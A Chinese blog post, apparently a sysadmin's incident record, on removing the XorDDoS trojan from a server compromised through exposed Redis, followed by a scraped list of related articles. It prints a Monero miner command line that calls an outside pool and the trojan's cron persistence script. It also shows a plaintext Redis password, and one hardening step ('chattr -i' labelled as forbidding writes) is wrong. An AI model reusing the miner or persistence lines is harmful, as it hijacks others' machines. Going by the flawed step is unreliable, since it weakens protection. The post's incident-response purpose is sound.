父进程名称: crond 进程名称: bash 进程路径: /usr/bin/bash 进程id: 20,517 命令行参数: /bin/sh /etc/cron.hourly/cron.sh 事件说明: XORDDoS木马入侵后,会在Linux的定时任务中植入恶意代码,定时启动后门程序,当发现该可疑进程时,很可能您的机器已经处于被入侵或者恶意发包的状态,建议您及时清理contab以及自启动项。帮助文档:https://help.aliyun.com/knowledge_detail/36279.html 解决方案: 建议立即及时清理计划任务中的恶意代码。

父进程名称: bash 进程名称: nohup 进程路径: /usr/bin/nohup 进程id: 12,283 命令行参数: nohup ./works -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 43ZSHb2kRK4P386GuQYTCyFbLmeuWrC1gLiUuzdK5KXiZPLuxPUYra4TC3p1TWAZxDf9PABYBpr34i4ha6UHY4tpPzJSR8k -p x -t1 事件说明: 黑客利用远程代码执行漏洞或者恶意木马在服务器中植入挖矿木马,占用机器所有CPU计算资源,严重影响服务器正常业务性能 解决方案: 建议立即KILL该挖矿进程,并及时清理计划任务中的恶意代码。具体详情可查看帮助:https://helpcdn.aliyun.com/knowledge_detail/41206.html

转http://blog.sina.com.cn/s/blog_8b79cd290102w7k9.html

http://www.cnblogs.com/IPYQ/p/6791256.html

http://www.cnblogs.com/red-code/p/5599393.html

http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

http://blog.csdn.net/rainday0310/article/details/52327026

http://blog.csdn.net/whs_321/article/details/51734602

问题原因

数字校园应用的REDIS缓存系统存在BUG,致使服务器被注入了入侵者自己生成的公匙,并上传到了Redis的DATA目录,最终获取了服务器的root权限

影响范围

数字校园采用的Redis版本存在bug,影响所有部署的数字校园服务器,需全部更新

处理过程-修复REDIS

1、更新REDIS版本

2、修改配置文件,使用"bind 127.0.0.1"指令将REDIS限制侦听本地接口

3、启用REDIS访问密码,增加"requirepass=bluefin_redis_secret"参数,"bluefin_redis_secret"为数字校园连接redis的密码

处理过程-删除病毒:

1、使用clamav进行扫描,确定感染的文件目录

添加EPEL源,通过yum安装clamav并更新病毒库

yum install clamav && freshclam

clamav是一个开源的病毒库查杀工具,能识别病毒,但查杀能力极为有限,只能在扫描期删除病毒文件,对拥有进程监控和自我复制的病毒无能为力。

根目录扫描,确定受影响的文件和文件夹

clamscan -r --infected /

clamav扫描显示/usr/bin目录及/lib目录出现病毒文件,最终发现了一个/lib/libudev.so文件,及/usr/bin/目录下出现一些奇怪的可执行文件,确定为病毒。

2、尝试过使用clamav删除病毒,结果无效,clamav扫描结束后病毒进程更换程序名称重新出现。病毒可执行文件位于/usr/bin/目录,文件名为10个任意

字母组成,类似于“/usr/bin/kesabalwnw”,/etc/init.d目录有个同名的启动脚本/etc/init.d/kesabalwnw,用于开机自动启动病毒程序。

物理删除病毒或结束病毒进程无效,病毒会更换文件名,反复出现

3、经过分析发现/etc/cron.hourly多添加了一个gcc.sh脚本

脚本内容如下

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6

5、通过netstat -tulnp指令,发现多了一个deamon服务,服务名称使用常见的"who,watch,id,ifconfig“等关键字代替,强行结束后会自动重启。linux上一般不存在

对应的系统服务,可怀疑跟病毒有关。可使用strace指令进行pid追踪,比如追踪pid为8572的进程,可查看该进程调用了哪些文件,对哪些文件进行了操作。

strace -tt -p 8572

在日志中发现了"/libudev.so"的身影,证实多出来的daemon服务是病毒运行的。

6、病毒会在/etc/init.d目录建立一个到多个10个字母组成的init脚本,脚本内容几乎一模一样,手动rm删除

7、病毒会在/etc/rc.d/{rc0.d,rc1.d,rc2,d,rc3,d,rc4,d,rc5.d}下建立非常多的以S90和K90开头的软连接,链接/etc/init.d目录下的病毒init脚本,可通过以下指令删除

清理/etc/rc.d目录,增加写保护

 find . -type l -name "K90*" -o -name "S90*" |grep -v crond|xargs rm -f && chattr -R +i /etc/rc.d/

8、删除/lib/libudev.so /lib/libudev.so.6并封锁/lib目录,禁止写入操作

rm -f /lib/libudev.so&&chattr +i /lib

9、禁止其它高风险目录的写权限

chattr -i /lib64 /bin /sbin /usr/sbin /usr/local

10、查找运行病毒进程名称,病毒为了防止被删除,通常用父进程在检测到病毒文件被物理删除后,自动生成新的病毒文件。可通过下列指令找出病毒父进程

[root@dt0b00021 etc]# lsof -R |grep "/usr/bin"
python    2197    1  root  txt       REG              253,0      4864    2099101 /usr/bin/python
hiiszdvzd 2354    1  root  txt       REG              253,0    625729    2100934 /usr/bin/hiiszdvzdv
 

11、去除父进程执行权限并缩短/usr/bin目录,防止病毒在/usr/bin生成新病毒文件

chmod 000 /usr/bin/hiiszdvzdv && chattr +i /usr/bin

12、去除后病毒主进程

ps aux|grep -i hiiszdvzdv|awk '{print $2}'|xargs kill -9

病毒捕获到kill指令的SIGAL TERM结束指令后会尝试在/usr/bin生成新病毒,但由于上一步骤禁止/usr/bin目录写入,这一过程会失败

重新检测/usr/bin目录启动的父进程可发现病毒进程已消失

[root@dt0b00021 etc]# lsof -R |grep "/usr/bin"
python    2197    1  root  txt       REG              253,0       4864    2099101 /usr/bin/python
[root@dt0b00021 etc]#
 

13、关闭服务器,用于flush内存,将驻留在内存中的病毒进程清除掉,注意此处必须为关闭,不能重启。重启服务器只会清空服务器引导阶段所需的部分内存,不能保证彻底清除病毒。

14、开启服务器,将关闭写权限的目录解禁

chattr -i -R /usr/bin /lib /lib64 /etc/init.d /etc/rc.d /usr/sbin /usr/local

15、使用clamav重新扫描,看是否有未清理干净的病毒文件残留

clamscan -r --infected /

Unix.Trojan.DDoS_XOR-1木马症状及清理办法的更多相关文章

  1. docker磁盘空间清理办法

    docker磁盘空间清理办法 前段时间遇到docker磁盘空间太少,无法写入数据的问题.起因是因为我在本地(Mac Pro)运行了多个mysql容器,并且导入了一部分线上数据,最后还没导入完毕就已经没 ...

  2. Linux /dev/sda1磁盘满了,清理办法

    转:https://blog.csdn.net/h_8410435/article/details/86303995 查看内存使用情况 df -lh Filesystem      Size  Use ...

  3. Linux下 XordDos(BillGates)木马查杀记录

    最近朋友的一台服务器突然网络异常,cpu占用率暴表,登录上去一查,cpu占用300% 左右,流量异常,经过看查进程,获取信息最终确认为中了dos木马,经过几天的研究,基本上已经清除,以下是清理记录. ...

  4. 记一次阿里云linux病毒清理过程

    1.起因   因为这台服务器是我们公司内部开发服务器,几乎每个人都有root密码.在两天前突然有同事反馈说偶尔会有ssh连不上,git代码无法提交的问题,刚开始也没有在意,以为是阿里云服务器网络波动的 ...

  5. 记一次Linux服务器上查杀木马经历

    开篇前言 Linux服务器一直给我们的印象是安全.稳定.可靠,性能卓越.由于一来Linux本身的安全机制,Linux上的病毒.木马较少,二则由于宣称Linux是最安全的操作系统,导致很多人对Linux ...

  6. Linux下XordDos木马的清除

    朋友的阿里云服务器一早上报木马入侵,找我处理,登陆阿里云查看警告信息“恶意进程(云查杀)-XorDDoS木马”, 本文也可以作为服务器处理木马排查的步骤的参考文章 排查原则: 1.一般的木马都有多个守 ...

  7. Apollo深度磁盘清理

    摘要 在Apollo的使用过程中,会出现磁盘空间不足的情况,Apollo的官方提供的方法是删除apollo/data/log或者删除apollo/data/bag文件.但是即使删除了这些,磁盘空间并没 ...

  8. unix网络编程笔记(二)

    第四章笔记 1. 基本Tcpclient/server程序的套接字函数 2. socket函数: int socket(int family,int type,int protocol); (1)so ...

  9. docker 清理容器和镜像

    在docker运行过程中,会不知不觉造出很多容器,很多都是不用的,需要清理. 下面就是一些清理办法,一个个清理肯定很低效,批量清理很有意思. 查看正在运行的容器 # docker ps -q 9b9f ...

随机推荐

  1. 在CentOS 6上使用 AWStats 分析 httpd 和 Tomcat 日志

    准备工作: Awstats 是由perl语言编写的,所以要首先准备好awstats的运行环境.# yum install –y perl*   Apache 一.首先,要安装apache服务器,并且启 ...

  2. 基于SVN提交历史筛选作者并修改文件内容

    笔者最近开发的项目中,是通过SVN做为版本管理工具的,因为需要创建的文件太多,所以有许多文件是在原有文件基础上拷贝过来修改的,这里就涉及到一个问题,原有文件中注释里填的JAVA类名.作者工号.创建时间 ...

  3. Mongo导出mongoexport和导入mongoimport介绍

    最近爬取mobike和ofo单车数据,需要存储在csv文件中,因为设计的程序没有写存储csv文件的方法,为了偷懒所以就继续存储到了MongoDB中.恰好MongoDB支持导出的数据可以是csv文件和j ...

  4. tornado输入-get_query_argument()等 笔记

    最外面的代码结构 import tornado.web import tornado.ioloop import tornado.options import tornado.httpserver f ...

  5. linux od命令详解

    Linux od命令 Linux od命令用于输出文件内容.od指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来 将指定文件以八进制形式(默认)转储到标准输出.如果指定了多于一个的文件参数 ...

  6. spring4与mongodb的集成

    新项目的辅助系统,需要用到mongo系统,今天再次将其使用环境进行了操作搭建.还是遇到一些问题,毕竟之前使用的场景和现在的不同.版本也不一样了. 本次使用的环境: mongo:3.4.4版本 OS: ...

  7. piwik custom variables

    piwik custom variables  是一个功能非常强大的自定义变量跟踪方案,多用于基于访客或是页面级别的变量跟踪.piwik默认最多可以添加5个自定义变量. 使用方式是在客户端脚本里添加如 ...

  8. 2017.11.7 ant design - upload 组件的使用, react 条件渲染以及 axios.all() 的使用

    一.主要任务:悉尼小程序管理后台,添加景点页面的开发 二.所遇问题及解决 1. 上传多个不同分类音频信息时,如中文音频和英文音频,要求音频不是放在一个数组中的,每个音频是一个独立的字段,此时: < ...

  9. Python实战(6)单线程和多线程导入mysql数据对比测试

    单线程脚本 导入文件的行数 # wc -l /data/logs/testlog/20120219/testlog1/* 1510503 total # -*- coding: utf-8 -*- # ...

  10. [Windows Hook] 屏蔽键盘按键

    //该例程为在系统级屏蔽一些系统键.如WIN.TAB.CAP.POWER.SLEEP.HOME等! //屏蔽组合键下面例程不适用!(比如CTRL+ESC需要在钩子函数中用(p.vkCode = VK_ ...